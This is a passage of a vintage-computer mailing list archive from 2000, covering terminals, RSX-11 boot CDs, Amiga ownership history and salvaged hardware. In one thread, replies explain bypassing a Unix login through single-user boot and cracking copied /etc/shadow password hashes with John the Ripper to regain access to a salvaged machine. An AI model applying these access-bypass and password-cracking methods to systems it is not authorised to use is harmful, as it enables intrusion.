>"Triumph": Commodore 64C, 1802, 1541, FSD-1, GeoRAM 512, Okimate 20. >"Leela": Macintosh 128 (Plus upgrade), Nova SCSI HDD, Imagewriter II. >"Delorean": TI-99/4A. >"Monolith": Apple Macintosh Portable. >"Spectrum": Tandy Color Computer 3. >"Boombox": Sharp PC-7000. >____________________________________________________________ >________________________________________________________________________ >Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > From rigdonj at intellistar.net Sat May 20 08:10:26 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:52 2005 Subject: May be moving.... In-Reply-To: References: <39254E21.6C74387B@ix.netcom.com> Message-ID: <3.0.1.16.20000520081026.25bfdd2a@mailhost.intellistar.net> At 10:12 AM 5/19/00 -0700, you wrote: >>My wife is interviewing for a job in Virginia Beach VA, If she gets it we will >>be moving out there... >>Anyone know of any Halted/Weirdstuff type shops in the Virginia Beach/Norfolk >>and surrounding area? These are the kind of place where when a business has >>excess electronic equipment it's resold via them.(Ie Halted bids on lots of >>electronic stuff then sells it to the public.) > >DRMO (US Navy Scrap) right outside the Base, IIRC. Since I was on a >Aircraft Carrier at the time I didn't have the room to check them out, but >I gather they have occasional auctions. All the DRMO surplus sales in this area are now being handled by a commercial company (levy-Latham). I think they're handling ALL the DRMO sales for the south East US. LL doesn't even notify you of their sales unless you're a mega-huge dealer and all the "scrap" is removed from the stuff before the "good" stuff is put up for auction. The DRMO sales here used to fill several buildings and a large parking lot. I went to a LL sale last week and it filled a ~ 1500 s.f. building and there was NO old computer stuff in it. BTW DRMO does have a web site so you should be able to find their locations on it. Joe From rigdonj at intellistar.net Sat May 20 09:04:12 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:52 2005 Subject: more weird stuff - ChameLAN 100-s Message-ID: <3.0.1.16.20000520090412.26570da6@mailhost.intellistar.net> Here's something else that I picked up in a load of old computers last week. It's one of those oversize lunch box computers with the keyboard that folds up against one side and covers the screen. It has six ISA type card slots that lay horizontal in the main unit. There's also a piggy back unit that has three more ISA type slots that stand vertical. The logo on the keyboard says "Tekelec" and ChameLAN 100-S". After some work, I finally got it to boot. The first surprise was that the LCD screen is a backlit color screen. The next surprise is that it boots into some kind of UNIX. I never did see a name for the UNIX but it pops up a number of different copyright notices including one for DOLCH, Tekelec and the usual UNIX ones. I couldn't get past the login id/password prompt. Any suggestions about how to get around it? It has some strange cards in it including several that appear to be very fancy Ethernet cards and another that has four fiber-optic connectors. The three boards in the piggy back unit are physicaly bolted together and each one has a four pin power connector similar to a 5 1/4" disk drive. There is a cable that connects to a each of those power connectors and a power outlet on the motherboard. The external connectors on these boards are marked "Bypass Control", "TR1" and "TR2" and "AUX". One of the boards has a big IC that's marked AMD AM79C830GC on it. I haven't been able to find a refernece to this chip. One of the other boards has an AMD AM7984AJC/20 on it. I haven't found a reference to that one either. Does anyone know what they are? The main computer is a 32 Mhz 486 with 16 Mb of RAM. The hard drive is a type 11 245 Mb IDE drive and it has a 1/3 height 1.44 Mb floppy drive. There are also extra LED indicators on the front of the computer that are marked "Ring Op" "Pri" "Sec", Signal Detect" "A" "B" and "Active" "A" "B". Does anyone know what this machine is made for or anything else about it? Joe From gaz_k at lineone.net Thu May 18 07:04:36 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:52:52 2005 Subject: Finding Vintage Computers - A Primer References: <001601bfc017$81217ea0$0200a8c0@marvin> Message-ID: <006301bfc25e$dbd5cec0$ee37073e@gaz> Mark Gregory > In my area, there's a related type of store that is worth a look. It's a > chain called "Cash Converters", where they buy your unwanted goods (at > substantially less than the estimated value) and then sell them in a retail > environment. Like a permanent garage sale under one roof. Cash Converters are one of the worst offenders for selling old computers. The local store has been trying to sell a 386 for 150UKP for the past two years. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From thompson at mail.athenet.net Sat May 20 10:24:11 2000 From: thompson at mail.athenet.net (Paul Thompson) Date: Sun Feb 27 18:52:52 2005 Subject: more weird stuff - ChameLAN 100-s In-Reply-To: <3.0.1.16.20000520090412.26570da6@mailhost.intellistar.net> Message-ID: This sounds like an early Dolch network analyser. Network General (Computer Associates, now) used to sell some Dolch models although in recent years they ran Windoze. DOLCH made (makes?) industrial strength intel machines which were popular among the military or industrial heavy duty crowd. I saw a Dolch marketing pamphlet which featured a similar machine mounted in a Jeep. It sounds like at the very least you might have the FDDI and token ring (TR?) analysis options in there. Not a cheap machine in its day or even likely today. The first step to get around the login problem would be to try to interrupt the boot process and sent it to single user mode. Try a CTRL C early in the boot process. (A handy way to interrupt older OS's like Ultrix in their boot...) If you get to the # prompt you should be in as root. Paul On Sat, 20 May 2000, Joe wrote: > Here's something else that I picked up in a load of old computers last > week. It's one of those oversize lunch box computers with the keyboard that > folds up against one side and covers the screen. It has six ISA type card > slots that lay horizontal in the main unit. There's also a piggy back unit > that has three more ISA type slots that stand vertical. The logo on the > keyboard says "Tekelec" and ChameLAN 100-S". After some work, I finally > got it to boot. The first surprise was that the LCD screen is a backlit > color screen. The next surprise is that it boots into some kind of UNIX. I > never did see a name for the UNIX but it pops up a number of different > copyright notices including one for DOLCH, Tekelec and the usual UNIX ones. > I couldn't get past the login id/password prompt. Any suggestions about > how to get around it? > > It has some strange cards in it including several that appear to be very > fancy Ethernet cards and another that has four fiber-optic connectors. The > three boards in the piggy back unit are physicaly bolted together and each > one has a four pin power connector similar to a 5 1/4" disk drive. There > is a cable that connects to a each of those power connectors and a power > outlet on the motherboard. The external connectors on these boards are > marked "Bypass Control", "TR1" and "TR2" and "AUX". One of the boards has a > big IC that's marked AMD AM79C830GC on it. I haven't been able to find a > refernece to this chip. One of the other boards has an AMD AM7984AJC/20 on > it. I haven't found a reference to that one either. Does anyone know what > they are? > > The main computer is a 32 Mhz 486 with 16 Mb of RAM. The hard drive is a > type 11 245 Mb IDE drive and it has a 1/3 height 1.44 Mb floppy drive. > There are also extra LED indicators on the front of the computer that are > marked "Ring Op" "Pri" "Sec", Signal Detect" "A" "B" and "Active" "A" "B". > > Does anyone know what this machine is made for or anything else about it? > > Joe > From jimw at agora.rdrop.com Sat May 20 10:54:16 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:52 2005 Subject: TTY columns (was Re: rescued a beehive) In-Reply-To: <39263D40.622C64F@rdel.co.uk> References: Message-ID: <3.0.3.32.20000520085416.00a05350@agora.rdrop.com> At 08:22 AM 5/20/00 +0100, Paul Williams wrote: > >Interesting to hear that TTYs had 72 columns, because I had wondered for >some time why the VT05 only had 20 rows of 72 columns. One minor thot to drop in here... For those who were uncomfortable with the 'column challenged' TTY, there were 80 column and 132 (!) column modifications for the venerable '33 series. The 80 column mod (AIR) just changed the advance ratchet on the carriage, while the 130 column mod also included a new type cylinder with a compressed font on it. I'm pretty sure that I've still got some (very) old printouts done on a '33 with the 132 column mod. I'll try to get them dug out and scan a page or two in case anyone is interested. -jim --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From foo at siconic.com Sat May 20 10:11:17 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! In-Reply-To: <39263D40.622C64F@rdel.co.uk> Message-ID: On Sat, 20 May 2000, Paul Williams wrote: > Hehehe. Terminal junkie support group, anyone? > > Sellam, Philip, I'd love to see pictures of any terminals in your > collections. I have a pretty diverse collection from the most boring to the most eccentric. I probably have close to 50 terminals of all makes and models. I'll try to snap some photos as I get time and perhaps put up a little webpage for them. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From healyzh at aracnet.com Sat May 20 14:35:36 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:52 2005 Subject: RSX-11M/M+ Question Message-ID: Is there a way to configure either RSX-11M or RSX-11M+ to boot up off of a disk that it can't write to? I just created a backup CD-R of my RSX-11M system, but since it could't write to the disk as it was coming up it didn't come up in a usable state. However, it did boot. Alternatively would it be possible to boot standalone backup off this CD or build a CD with standalone backup? RT-11 is a little more forgiving :^) Though I messed up and didn't have the partitions assigned correctly before making the disk image so I can only access part of my data when booting from CD, still it's enough to be able to recover the system with should I loose the HD! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From pechter at pechter.dyndns.org Sat May 20 15:06:15 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:52 2005 Subject: Wacky terminals In-Reply-To: <20000520092351.47101.qmail@hotmail.com> from Will Jennings at "May 20, 2000 03:23:51 am" Message-ID: <200005202006.QAA20300@bg-tc-ppp739.monmouth.com> > Well, FWIW, I do have the schematics + owner's manual + maintenance manual > for a Hazeltine 2000... as for actual terminals, I've got a Prime terminal, > an IBM 8775, and my long-time favorite, my trio of Perkin-Elmer 550B's. I > had an ADM-11, but the stupid hunk of junk was dead when I got it, so it was > pretty useless... I could use 3 more P-E 550B's, and a trio of Carousel > 300's, but I doubt anyone has any... Wouldn't mind a CR-11 (I KNOW that its > not a terminal, but since I'm on the topic of Interdata/P-E stuff I > want...), so I could change the ROMs and use it on a 7/32... have the > controller, but not the card reader... The 550B's were ok... but the 1100 series and 1250's with the funky block mode bit. The 6312's also had that funky block mode (the 6312's were Lear Siegler's with different firmware -- and the 6312+ jobs were Link models -- and the early rom emulation wasn't as good. The block mode was mostly used for the Reliance database... Kind of IBM-ish 3270 wannabe stuff. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From ard at p850ug1.demon.co.uk Sat May 20 15:00:05 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000520075933.25bf721a@mailhost.intellistar.net> from "Joe" at May 20, 0 07:59:33 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1656 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000520/46b74387/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sat May 20 14:54:19 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:52 2005 Subject: PDP 8/L console In-Reply-To: <200005200331.WAA14613@caesar.cs.umn.edu> from "Lawrence LeMay" at May 19, 0 10:31:47 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 7540 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000520/7dda8183/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sat May 20 14:22:30 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! In-Reply-To: from "liste@artware.qc.ca" at May 19, 0 07:35:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1390 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000520/1cc3f843/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sat May 20 14:18:21 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:52 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: from "Mike Ford" at May 19, 0 02:04:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 431 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000520/cb49df1a/attachment-0001.ksh From CLASSICCMP at trailing-edge.com Sat May 20 16:25:03 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:52 2005 Subject: RSX-11M/M+ Question Message-ID: <000520172503.2020037d@trailing-edge.com> >Is there a way to configure either RSX-11M or RSX-11M+ to boot up off of a >disk that it can't write to? I just created a backup CD-R of my RSX-11M >system, but since it could't write to the disk as it was coming up it >didn't come up in a usable state. However, it did boot. Alternatively >would it be possible to boot standalone backup off this CD or build a CD >with standalone backup? The CD you built can *probably* be used to boot into standalone BRU, if it's the result of a fairly vanilla SYSGEN. Boot it up, let it mount the system disk, get to the MCR prompt (control-C and ABO AT. if necessary), and do a BOO [6,54]BRUSYS. Tim. From lemay at cs.umn.edu Sat May 20 16:51:12 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:52 2005 Subject: PDP 8/L console In-Reply-To: from Tony Duell at "May 20, 2000 08:54:19 pm" Message-ID: <200005202151.QAA16942@caesar.cs.umn.edu> > > One last thing. The original IBM Async card (the short-length 8-bit one > found in PCs and PC/XTs) has a current loop mode. You turn round the > larger of the 2 jumper blocks. I think it's active transmit and passive > receive, but I'd not like to bet on it. > > -tony > Now thats very interesting. Especially since I have 3 of those cards in my office at work, and could easily grab 2 more if necessary... Any idea where I might still be able to get documentation on that card? -Lawrence LeMay From donm at cts.com Sat May 20 16:59:38 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:52 2005 Subject: heads up MMJ crimper tool. In-Reply-To: <39261BD0.1F43279B@rain.org> Message-ID: On Fri, 19 May 2000, Marvin wrote: > > > Chuck McManis wrote: > > > > As the saying goes, "If you don't live here you probably don't want to go > > there." Basically Fry's sucks dead rodents through a hose. And most of the > > stuff on the shelf seems to have been returned at one point and never do > > they shave a penny off that price. I once heard someone brag that they > > didn't need to buy a digital camera, they just bought one at Fry's and > > returned it when they were done. :-( That and the fact that they drove the > > There was an article in IIRC Forbes Magazine describing Fry's. The nutshell > description was they didn't hire knowledgeable salespeople because their > customers probably knew more than the sales people, and they have the H&H > factor in place (Hoops & Hurdles) when customers want to return or exchange > something. I gather the idea was to put enough pain into the return process > that customers would think twice about returning merchandise. My own experience has been quite different. On several occasions when I returned items for credit or exchange, the process was quite painless. No hoops or hurdles, courteous clerks, and only a moderate line. - don From foo at siconic.com Sat May 20 16:39:30 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! In-Reply-To: Message-ID: On Sat, 20 May 2000, Tony Duell wrote: > but not just terminals. I feel that all computer peripherals are being > neglected by most collectors, so I try to hang on to unusual printers, > terminals, modems, etc. Things like the Sanders dot matrix printers (7 And I as well! I've got a wide assortment of printers, modems, terminals, etc. The locals always laugh at me because I'm the one who will always take whatever no one else wants. But I'll show them! ;) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From healyzh at aracnet.com Sat May 20 17:57:01 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:52 2005 Subject: RSX-11M/M+ Question In-Reply-To: <000520172503.2020037d@trailing-edge.com> Message-ID: >The CD you built can *probably* be used to boot into standalone BRU, >if it's the result of a fairly vanilla SYSGEN. > >Boot it up, let it mount the system disk, get to the MCR prompt (control-C >and ABO AT. if necessary), and do a BOO [6,54]BRUSYS. > >Tim. Cool, though it was BOO [1,51]BRUSYS (thankfully I had an old directory listing on my Linux box) on my RSX-11M V4.2 CD. Now I'll have to burn my M+ CD, and I can rest a bit easier knowing I don't have to depend on tape backups for recovering a disk. Besides it's faster to startup BRUSYS off of CD-ROM instead of TK50 :^) Thanks! Hey! Just finished the M+ CD, and it seems a lot more forgiving about booting up on a Read-Only drive. It boots up and is usable. Great, so if need be I can always use the M+ to get M onto a Hard Drive (in the event of really catastrophic failure. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From ard at p850ug1.demon.co.uk Sat May 20 18:00:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:52 2005 Subject: PDP 8/L console In-Reply-To: <200005202151.QAA16942@caesar.cs.umn.edu> from "Lawrence LeMay" at May 20, 0 04:51:12 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3351 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/5ee6c195/attachment-0001.ksh From healyzh at aracnet.com Sat May 20 21:34:41 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:52 2005 Subject: Warning: Most of DejaNews Archive Offline Message-ID: I'm depressed, I was just trying to lookup some info using DejaNews, and couldn't get it to dredge up anything older than about a month ago. Now I know why, they've taken the archives offline, and are apparently moving thier servers to a new site. Between the 20th-26th the stuff from two weeks to a year ago will be unavailable. The stuff older than that could be offline for several months :^( Don't know about everyone else, but DejaNews is one of the first places I check when trying to solve a problem. I feel like I just had a lobotomy :^( Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From retro at retrobits.com Sat May 20 22:14:02 2000 From: retro at retrobits.com (Earl Evans) Date: Sun Feb 27 18:52:52 2005 Subject: Warning: Most of DejaNews Archive Offline References: Message-ID: <000701bfc2d2$9d57f050$0201640a@colossus> > I'm depressed, I was just trying to lookup some info using DejaNews, and > couldn't get it to dredge up anything older than about a month ago. Now I Same here. I was trying to find the pinouts and specs on a TRS-80 Model 1 power supply when I got the bad news. (Bad news, ha ha ha, pun not intended but somewhat funny?) I did find them somewhere else, though. BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? :-) Or, could tell me how to build/repair one? - Earl From richard at idcomm.com Sat May 20 23:28:02 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:52 2005 Subject: Warning: Most of DejaNews Archive Offline References: <000701bfc2d2$9d57f050$0201640a@colossus> Message-ID: <000901bfc2dc$f6826e80$0400c0a8@winbook> You might want to tweak Will Jennings. He recently snagged some of the ancient TRS-80 stuff (data) lying about in my basement. Dick ----- Original Message ----- From: Earl Evans To: Sent: Saturday, May 20, 2000 9:14 PM Subject: Re: Warning: Most of DejaNews Archive Offline > > > I'm depressed, I was just trying to lookup some info using DejaNews, and > > couldn't get it to dredge up anything older than about a month ago. Now I > > Same here. I was trying to find the pinouts and specs on a TRS-80 Model 1 > power supply when I got the bad news. (Bad news, ha ha ha, pun not intended > but somewhat funny?) I did find them somewhere else, though. > > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? :-) > Or, could tell me how to build/repair one? > > - Earl > > > From gaz_k at lineone.net Sun May 21 08:49:08 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:52:52 2005 Subject: Is this for real -- a new C64/128 References: Message-ID: <005d01bfc32b$a0be4f60$3a2f63c3@gaz> Gary Hildebrand wrote: > Escom went on to become Amiga.de. They are building A1200's and some > A4000's from old parts stock held up by the creditors to Commodore. Not exactly, Escom bought the Amiga in 1995 for roughly $10 million and formed a new division called Amiga Technologies. When Escom went into liquidation during 1996 the Amiga was put on sale again. After a year of legal wranglings, Gateway (Gateway 2000 as they were known at the time) bought the Amiga and renamed Amiga Technologies as Amiga International. After two years of vapourware Gateway sold the Amiga (minus the patents) to a startup called Amino, staffed by formed Amiga employees. I've constructed a basic timeline of who owned Amiga, when: 1982 -1984 Amiga Corp. (the original development team headed by Jay Miner) 1984 - 1994 Commodore 1995 - 1996 Escom (set up the Commodore and Amiga subsiduary) 1997 - 1999 Gateway (developed the ill-fated Amiga MCC- this technology is due for release as the AOL TV) 1999 - Present Amino buy the Amiga trademarks and rename themselves Amiga Corp. You are correct about the current Amigas being constructed from old Commodore parts. For those who want a modern Amiga, the BoXeR is to be released soon (utilising a 68k or PPC processor). There is also the Developers machine for the next generation Tao-based OE. For a more in-depth look at these events take a look at my site. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From gaz_k at lineone.net Sun May 21 08:56:25 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:52:52 2005 Subject: Is this for real -- a new C64/128 References: Message-ID: <006701bfc32d$46723e20$3a2f63c3@gaz> Gary Hildebrand wrote: > Escom went on to become Amiga.de. They are building A1200's and some > A4000's from old parts stock held up by the creditors to Commodore. Not exactly, Escom bought the Amiga in 1995 for roughly $10 million and formed a new division called Amiga Technologies. When Escom went into liquidation during 1996 the Amiga was put on sale again. After a year of legal wrangling, Gateway (Gateway 2000 as they were known at the time) bought the Amiga and renamed Amiga Technologies as Amiga International. After two years of vapourware Gateway sold the Amiga (minus the patents) to a start-up called Amino, staffed by formed Amiga employees. I've constructed a basic timeline of who owned Amiga, when: 1982 -1984 Amiga Corp. (the original development team headed by Jay Miner) 1984 - 1994 Commodore 1995 - 1996 Escom (set up the Commodore and Amiga subsidiary) 1997 - 1999 Gateway (developed the ill-fated Amiga MCC- this technology is due for release as the AOL TV) 1999 - Present Amino buy the Amiga trademarks and rename themselves Amiga Corp. My Commodore knowledge is a bit shaky at the moment so I may be a few years out on some dates. 1956 - 1994 Commodore 1995 - 1996 Escom 1996 - 1997 Escom BV conduct a management buyout and purchase the Commodore trademark, becoming Commodore BV. 1997 - 1999 The Commodore brand is purchased by Tulip. They licence the name to other manufacturers, leading to Web.It. 2000 Unknown, it is possible that it was bought from Tulip by a privately held company. You are correct about the current Amigas being constructed from old Commodore parts. For those who want a modern Amiga, the BoXeR is to be released soon (utilising a 68k or PPC processor). There is also the Developers machine for the next generation Tao-based OE. For a more in-depth look at these events take a look at my site. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From rigdonj at intellistar.net Sun May 21 09:47:03 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! In-Reply-To: References: <3.0.1.16.20000520075933.25bf721a@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000521094703.264706fe@mailhost.intellistar.net> At 09:00 PM 5/20/00 +0100, Tony wrote: >> >If this terminal is really unused, it might be worth going through and >> >swapping the electrolytic caps with some relatively new ones, but it >> >probably would work well otherwise. 20-year old electrolytics need to be >> >"re-formed" if they're to work reliably. That involves removing them from >> >the circuit and gradually cycling them up to peak voltage and current. If >> >you have to remove them, it makes more sense to replace them rather than to >> >go through the re-forming process. Some of them may die anyway, due to >> >tired dielectric. >> >> I have a large Variac that I plug old stuff like this into and I use it >> to gradually bring up to full voltage. I start at 10% for a few minnutes, >> then go to 20% for 1/2 or so and then step it up another 20% every 1/2 >> hour. I've had no trouble with shorted caps since I started doing this. > > >You want to be careful doing this. You'll be alright doing it with linear >supplies, but switch-mode supplies are approximately constant _power_ >devices and draw more current as the input voltage drops. Some burn out >in an expensive way if you run them off a reasonable fraction (but not >within the documented range) of the normal input voltage. Hmmm, good point. I haven't done this with a switching PS but you're probably right about what would happen. Joe From cisin at xenosoft.com Sun May 21 11:24:49 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:52 2005 Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews In-Reply-To: <000701bfc2d2$9d57f050$0201640a@colossus> Message-ID: On Sat, 20 May 2000, Earl Evans wrote: > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? :-) > Or, could tell me how to build/repair one? The good news is that MOST (but certainly not ALL) problems with the model 1 power supply are nothing more than a blown fuse! All that is usually needed is to solder in a new fuse. The bad news is that the case is glued together. Fortunately the glued joint tends to be substqantially weaker than the rest of the case. Although some, such as Tony, might have a much better way to open the case, brute force will usually do. Swinging it by the cord (now I'm SURE that Tony would have a better way :-), slam it down onto a carpeted floor. Gradually increase the level of violence until it cracks open, without getting rough enough to shatter it all over the place. Solder in a new fuse, and glue the case back together. A Dremel saw might do the job, but this is the technique that we used at the 6th? West Coast Computer Faire to repair half a dozen of them. (Show management insisted that there was NOTHING WRONG with the power provided) I sold some of my model 1 stuff at VCF, and Eric got most of the rest. -- Grumpy Ol' Fred cisin@xenosoft.com DogEars From west at tseinc.com Sun May 21 11:34:44 2000 From: west at tseinc.com (Jay West) Date: Sun Feb 27 18:52:52 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? Message-ID: <000d01bfc342$79484320$0101a8c0@jay> A friend called me about a cpu cabinet sitting next to a dumpster. I would like some background and identification on this system if anyone knows. And most importantly - there's much more that I left behind - should I go get it (as in anyone here want some of it)? At first blush I didn't think it would be interesting, but it looks like an unibus system; it also had some M8043 and M8017 cards in it so it must be something DECish? Here's very sketchy details... Quadex Q5000 labeled rack and cpu enclosure Various tags inside the cabinet mention Quadex or Scientific Micro Systems or CompuGraphics A very deep rackmount unit with a QIC tape slot in the front A very deep rackmount unit with two 8" floppy drives - model A02028-501 "030 Storage Module" The backplane looks DECish to me - similar to what I've seen in a 11/44. Here's some of the cards that are in it. Three M8017 - I know what these are :) One M8043 - I know what this is too :) Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type connector (much smaller than 10b2). Main chip is N8X305N one #70201 which obviously went to external devices - two 50 pin headers which end in same connector 11/23 uses to go to external RD52's Sheild/bus terminator board - #203763 What appears to be a memory board and has a 40 pin connector on it - #75063 One board has a ton of different size ribbon cables coming off it - label says "FWD0106" Plessey Peripheral Systems board with 50-pin berg connector #703755 Small board #20041 with 14 pin berg coming off the side 2 card cpu set - #20038 and #20039, about 5 AM2901CPO chips, and a lot of N82S191N chips that say things like "instruction decoder" The SLU cards I can use in my 11/23's and 11/73's. I noticed that the back of the cpu cabinet someone had labelled the ports - some said terminal and some said "typesetter". Any idea what these cards are and if they're usable in other dec systems? I left the QIC tape drive behind and they said there was more where that rack came from - anyone interested or is this junk? Trash pickup is on wednesday so let me know before then :) Jay West From allisonp at world.std.com Sun May 21 09:52:05 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:52 2005 Subject: Warning: Most of DejaNews Archive Offline Message-ID: <009801bfc343$3ac49490$7164c0d0@ajp166> >Same here. I was trying to find the pinouts and specs on a TRS-80 Model 1 >power supply when I got the bad news. (Bad news, ha ha ha, pun not intended >but somewhat funny?) I did find them somewhere else, though. Break it open and replace the thermal fuse just under the winding tape. Thats the most common problem. You can erify that this is the problem by OHMing the the primary to see if it open. Allison From healyzh at aracnet.com Sun May 21 12:39:47 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:52 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? In-Reply-To: <000d01bfc342$79484320$0101a8c0@jay> Message-ID: >Quadex Q5000 labeled rack and cpu enclosure >Various tags inside the cabinet mention Quadex or Scientific Micro Systems >or CompuGraphics About the only thing I can tell you on all of this is that SMS (though I thought that was SanFrancisco Micro Systems) made PDP-11 clones. I've got two SMS chassis' with DEC PDP-11/73 dual hieght CPU's and DEC 256KW RAM. The Disk controller and Serial I/O is all off the Q-Bus on a SMS board. >The backplane looks DECish to me - similar to what I've seen in a 11/44. Is it Hex-Height? A Q-Bus Backplane would normally be Quad-Height, or maybe dual, not Hex. Could be a rather interesting beast. >Here's some of the cards that are in it. >Three M8017 - I know what these are :) >One M8043 - I know what this is too :) >Four boards #20033 - each has a tiny 4 pin connector and a tiny coax type >connector (much smaller than 10b2). Main chip is N8X305N >one #70201 which obviously went to external devices - two 50 pin headers >which end in same connector 11/23 uses to go to external RD52's >Sheild/bus terminator board - #203763 >What appears to be a memory board and has a 40 pin connector on it - #75063 >One board has a ton of different size ribbon cables coming off it - label >says "FWD0106" >Plessey Peripheral Systems board with 50-pin berg connector #703755 >Small board #20041 with 14 pin berg coming off the side >2 card cpu set - #20038 and #20039, about 5 AM2901CPO chips, and a lot of >N82S191N chips that say things like "instruction decoder" This sounds all very wierd, especially that 2 card CPU set. I'm wondering what kind of CPU it even uses! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From technoid at cheta.net Sun May 21 12:51:45 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:52:52 2005 Subject: more weird stuff - ChameLAN 100-s References: <3.0.1.16.20000520090412.26570da6@mailhost.intellistar.net> Message-ID: <39282230.D18426A6@cheta.net> Hi Joe! I had a similar problem with my Sun machine. What I did was physically mount the foreign drive on my clone running redhat. I knew what the solaris filesystem was and so was able to instruct redhat to mount it (read only). Then a friend in ClassicComp turned me on to a program called 'John the Ripper'. I copied the /etc/passwd and /etc/shadow files to my clones' drive and ran the program to crack the passwords. The root password was not crackable but most others were. As the clock on my Sparcstation had a dead batt, the dateas irrational for the user I logged on as as that user had not yet been created.... This caused solaris to drop me to a root prompt at which time I was able to change the root pw and have full system access in the proper way with the proper date. You need to gather intelligence on the system to determine which filesystem it is running . Barring that you could randomly try various filesystems until you hit the right one. Sounds like a very cool box you bumped into! Keep me and all of us posted on your progress. If you give some more details on the type of unix it runs, someone on the list may be able to tell you which filesystem it is useing. Best of luck!! wrote: > Here's something else that I picked up in a load of old computers last > week. It's one of those oversize lunch box computers with the keyboard that > folds up against one side and covers the screen. It has six ISA type card > slots that lay horizontal in the main unit. There's also a piggy back unit > that has three more ISA type slots that stand vertical. The 